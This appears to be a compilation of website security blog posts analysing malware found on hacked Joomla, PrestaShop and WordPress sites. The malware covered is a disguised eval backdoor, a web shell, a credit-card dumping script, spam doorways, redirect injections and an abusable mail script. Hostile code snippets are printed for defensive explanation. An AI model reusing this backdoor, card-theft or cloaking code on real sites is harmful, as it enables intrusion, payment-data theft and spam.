In order to avoid detection and maintain access to compromised websites, attackers use different techniques to hide their malicious code.

During our cleanup investigation we identified an interesting malicious code that pretended to be a legit Joomla core file. In this particular case the attackers based their malware on the libraries/application/application.php file from the 1.5.26 version.

The malware acts like a regular backdoor, allowing arbitrary command execution on affected websites.

Here is a snippet of the code that reveals the backdoor:

...class JApplication{...function __construct($config = array())  {    ...    $this->_config = $config;    if(isset($_POST[$config['UID']])) {   $session = $this->parseSession($_POST[$config['UID']]);    } else if (isset($_GET[$config['UID']])) {   $session = $this->parseSession($_GET[$config['UID']]);    } else if (isset($_COOKIE[$config['UID']])) { $session = $this->parseSession($_COOKIE[$config['UID']]);    }     $this->sessionStart($session);  }...function sessionStart($session) {  if(!empty($session))    return       eval($session);}...}new JApplication(array ('UID' => 'UV0I82'));

What this code does is modifies the JApplication constructor to execute arbitrary PHP code passed in the UV0I82, parameter of POST or GET requests, or in the UV0I82 cookie. To make the backdoor functionality less prominent, hackers use two additional helper methods of the JAppication class: parseSession and sessionStart. Their names look benign and make sense in the context of starting a new Joomla session. However when you check the code of those methods, you’ll see that parseSession hides the base64 decoder and sessionStart is just a wrapper around the eval function. Since this backdoor file is not part of Joomla, it creates the JApplication object itself (the last line of the above snippet) passing the name of the request parameter that contains the malicious PHP code, which invokes the backdoor functionality.

The backdoor is being used on Joomla compromised websites in order to remain hidden, as the entire code is created to pretend to be a real Joomla core file. Untrained eyes can easily miss this backdoor.

These type of injections blend in with good code, which makes it harder to detect it. If you have a file integrity monitoring tool in place or similar security mechanism you should be able to easily identify and fix the issue. We also recommend regular backups so that you could restore your website if something happens. You can also count on us whenever you need a professional malware removal service.

During an incident response process performed in our client’s website, one of our analysts found a very interesting web shell. Our tools detected a suspicious file called "./v8.php" and after some time decoding it, we found out that it was a backdoor giving full shell access to the attackers.

The shell itself is very similar to the well known c99 webshell in which provides a variety of commands to manipulate the victim’s website (file structure) and database, also allowing him to execute commands the start malicious campaigns.

First, the encoded malware had an interesting comment at the top of the file:

"This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited."

Attackers usually use that technique in order to somewhat avoid detection and further investigation from a suspicious eye.

What was so interesting about it? Well... how it was named: "<title> SEU MADRUGA Shell Recoded </title>".

This (and this note's title) may not seem to be funny for anyone outside latin America, so let me explain: "Seu Madruga" or “Don Ramón”, as the character is originally called, is one of the characters from a 1970’s Mexican super popular TV show called "El Chavo del Ocho". This show was translated to portuguese and other 49 different languages and it is still very popular in Brazil, I would risk to say that every brazilian knows who “Seu Madruga” is, even if they weren't big fans of the show. And the note's title is based on one of his famous quotes.

So, when I saw that shell, this is the face that instantly came to my mind:

"Seu Madruga", an unemployed former boxer who gets beat up by a lady almost daily can now be found on your site. So, as we always say, keep your website update, always check the core files, use a monitoring system to keep an eye on everything and make sure to have your website behind a firewall.

We wrote multiple times about various attacks on e-commerce sites that try to steal credit card details of their customers. In most cases, all such attacks need is the shortest moment when the site processes the payment details. It can be an injected JavaScript that steals your data as you enter it in the order form. Or it can be a server side script that builds itself as a middleman between the code that receives the data from user and the code that sends that data to a secure payment gateway. Note, in both of these scenarios e-commerce sites don’t even try to save the credit card information on their servers. The mere fact that they have the payment form on their own domain is enough for hackers to hijack it once they break into the site.

However, hijacking a payment form means that hackers can only steal details of ongoing payments. They have to wait for people to buy something from the compromised sites. But if hacked sites use really poor security practices and save all the payment details on their own servers, the attackers can easily steal credit card details of their customers without having to wait for new victims.

For example, in some versions of PrestaShop, there are standard tables (ps_payment_cc and ps_order_payment) for storing all credit card information (card number, expiration, card holder, etc.). Unfortunately, some PrestaShop payment modules indeed save credit card details in the database, so hackers just couldn’t help taking advantage of this.

On a hacked PrestaShop site, we found a malicious script that connected to the database and dumped credit card numbers from ps_payment_cc and ps_order_payment tables.

...$Select0= mysql_query("SELECT id_order_payment,card_number,card_brand,card_expiration FROM ps_payment_cc");$Select1= mysql_query("SELECT id_order_payment,card_number,card_brand,card_expiration FROM ps_order_payment");…while($ccv1 = mysql_fetch_assoc($Select0)){     echo "      <tr>       <td>".$ccv1['id_order_payment']."</td>        <td>".$ccv1['card_number']."</td>     <td>".$ccv1['card_brand']."</td>      <td>".$ccv1['card_expiration']."</td>   </tr>  ";}...

If you have a e-commerce site, at all costs avoid saving customer payment details on your server. Modules that send payment information to third-party payment gateways and don’t save anything locally, are a bit safer, but still they can be easily hijacked to steal ongoing payments. For small sites, the safest option is to completely outsource payment processing to payment gateways. You should only ask for the information that you need to ship the order and then redirect the customers to a trusted payment services (PayPal, Authorize.net, Stripe, etc.) where they can finish the order process.

You can find more information about e-commerce security and PCI compliance on our blog where we regularly share information about how hackers compromise online stores and what it takes to make e-commerce sites secure.

Recently we cleaned a site that had a malicious wp-page.php file at the root of the WordPress site. It was responsible for pharma spam doorways created on this site. The file was quickly located and deleted. To our surprise, when we loaded that wp-page.php in a browser to verify that the problem was resolved, the malicious content was still there. And the headers stated that it was not a cached page.

We checked the file on server - indeed it was there with a very fresh modification date. We deleted the file again and a few seconds later the file was recreated. This behavior was typical for malware that used cronjobs to reinfect sites. However, when we checked the user’s crontab, we didn’t find any suspicious cron jobs there.

We continued with a more thorough server scan and found the malicious nav.php file inside the site’s active theme. The file injected links the wp-page.php links into the legitimate site pages when they were requested either by Googlebot or Bingbot.

...$movedb = user_min_browser($_SERVER['HTTP_USER_AGENT']);$movedb2 = 'moved';if ($movedb == $movedb2){ echo '<ul>';echo '<li><a href="http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_1.'">http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_1.'</a></li>';echo '<li><a href="http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_2.'">http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_2.'</a></li>';...echo '<li><a href="http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_20.'">http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_20.'</a></li>';echo '</ul>';}

But that was not the most interesting part of the file. It was also responsible for creating the wp-page.php file. We are getting closer! Just need to figure out what executes that nav.php file, since it definitely didn’t belong to the theme.

A quick scan for nav.php revealed this code in the header.php of the same theme:

<?php include 'nav.php'; ?>

Hacker injected this line into header.php to make the malicious code executed every time any public site page is being loaded. It is mainly done to feed the spam to search engine crawlers, but it also recreates the wp-page.php on every web page load even if the file still exists, which works as a “delete protection”.

This case shows that a site cleanup is not finished when you remove the malicious files you found. After the initial cleanup you should verify that the malware is gone and then continue monitoring the site, because you might have missed some backdoors, cron jobs or security holes that will help hackers reinfect your site. This may happen within seconds as we described here, or it may take days before the malware returns. Only a reliable continuous security monitoring will help you verify that the malware is gone for good or will notify you if your site gets reinfected so that you can quickly mitigate the problem and investigate why the original cleanup was not enough to prevent reinfections.

Sharing spam content and getting blacklisted is not a matter of choice when a website is hacked, these are just some of the consequences when attackers compromise a blog/website and that is why it is so important to have security measures/policies in place to prevent such issues from happening.

An attacker can use a hacked website for various purposes, such as:

• Node to DDoS attacks
• Host phishing content
• Steal sensitive information
• SEO Spam and much more

Most of the time, website owners are unaware of such activities until they get a complaint from a user or a search engine (Blacklist Screen) which at that point it’s too late.

Recently our incident response team investigated a case where an infected website was redirecting users to non intended domains such as:

• "windows7keyonsale.com/windows-8-c-9.html"
• "allsoftwaredownload.com/windows-8-1-product-key-generator/"

Upon further analysis, we detected that one of the WordPress core files was changed and a malicious content was injected at the top of the file "wp-includes/template-loader.php"

<?php$tmp = strtolower($_SERVER['HTTP_USER_AGENT']);    $mysite = "hxxp://www.infectedwebsite.com/";         $filename = "";   $fromsite = "hxxp://allsoftwaredownload.com/windows-8-1-product-key-generator/";  if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) {    $ksite = !empty($_GET['win']) ? $_GET['win'] : "";   $list = array();    $listname = $filename . "?win="; $liststr = "<div style='text-align: center'>";  foreach ($list as $key => $val) {       if ($ksite == $key) {           $fromsite = $val;       }       $liststr .= "<a href='" .$mysite .  $filename . "?win=" . $key . "'>" . $key . "</a>&nbsp;&nbsp;";  }   $liststr .= "</div>";   $url = empty($_GET['key']) ? "" : $_GET['key'];  if(function_exists('curl_init')){$s = curl_init();curl_setopt($s,CURLOPT_URL,$fromsite . $url);curl_setopt($s,CURLOPT_RETURNTRANSFER,1);curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');curl_setopt($s,CURLOPT_REFERER,"http://www.google.com");curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240'));$content = curl_exec($s);}else{$content=file_get_contents($fromsite . $url);}...

In addition to loading the content from the offending website (image below) and displaying it to the user, the injection also attempts to avoid detection from Search Engines in order to increase profitability.

This is another example where attackers modify core files from the CMS to perform malicious activities. If you have a file integrity monitoring in place and a backup, this could be easily avoided and reverted to a good state. It’s also important to double-check the logs and find the entry point to avoid that from happening again. Using a Web Application Firewall and changing passwords are good prevention measures.

We often find code that is developed with good intent but the security aspects of it are not always taken into consideration.

During a routine cleanup investigation we found a php script in a theme that used mail capabilities without any type of security check or direct access prevention. Because of that, attackers would be able to abuse such features and send mass SPAM.

This script is part of one premium WordPress theme and here is a snippet of it (with comments removed):

$to = htmlspecialchars( stripslashes( trim( $_POST['To'] ) ) );$name = htmlspecialchars( stripslashes( trim( $_POST['Name'] ) ) );$email = htmlspecialchars( stripslashes( trim( $_POST['Email'] ) ) );$message = htmlspecialchars( stripslashes( trim( $_POST['Message'] ) ) );$subject = htmlspecialchars( stripslashes( trim( $_POST['Subject'] ) ) );$headers = 'From: '. $name .' <'. $email .'>';//$subject .= ', from: ' .$name ;if( @mail( $to, $subject, $message, $headers ) ){    echo json_encode( array(        'status' => 'ok' ));   } else {  echo json_encode( array(        'status' => 'error'  ));   }

As you can see, it sends emails using the data provided in POST parameters. And although it is meant to work as a part of the theme, it can be easily used as a stand-alone script bypassing all security checks made in other theme files.

This theme is not the only one that has such a vulnerability. If you develop themes / plugins and they include files that shouldn’t be used outside of the original theme or plugin, consider this trick to prevent direct access to the files. The following code can be added at the top of the files after the php tags:

if ( basename($_SERVER['PHP_SELF']) == basename(FILE) ) {  die('Access Denied'); }

This post demonstrated just one of many security issues that could be caused by poor coding practices. Extension developers should alway remember that if their software becomes even moderately popular hackers immediately start looking for ways to abuse it.

Spammers are constantly looking for ways make use of resources of hacked sites in their black hat SEO schemes. In most cases, spam injections and doorway script are quite hard to detect but in this example attackers didn’t worry much about that aspect.

The technique consists of abusing server resources (storage and database) by installing spammy WordPress sites (Oakley and Ray Ban spam in our case) in subdirectories of the original site and providing additional scripts to automate WordPress management (they probably don’t know about the XML-RPC API).

During our investigation, we identified common patterns between different infected websites with this type of injection.

• 1. The attackers added 2 directories in the root (./oakleyer and ./raybaner) with WordPress installations (v4.0.12)
• 2. Attackers took the database credentials from the original site’s wp-config.php, and used different table prefixes for the spammy WordPress sub-sites.
• 3. There were also four specific files that helped automate blog management in both ./oakleyer/wp-admin and ./raybaner/wp-admin:
  • etchk.php - verifies if there is a post in the database with a given title.
  • etpost.php - creates or updates spam posts in the database.
  • etreply.php - posts comments.
  • map.php - creates sitemaps for the SPAM sub-sites.

If you see unrelated search queries in Google Search Console or the [site:you-site-domain-here.com cheap] search returns pages that don’t belong to your site, it’s a strong indication of a SEO hack.

In this case, it was easy to notice the malicious directories in the site root. You still need to regularly log in and visually inspect the directory structure. A more reliable approach is integrity monitoring of your server file structure or whole security monitoring solutions.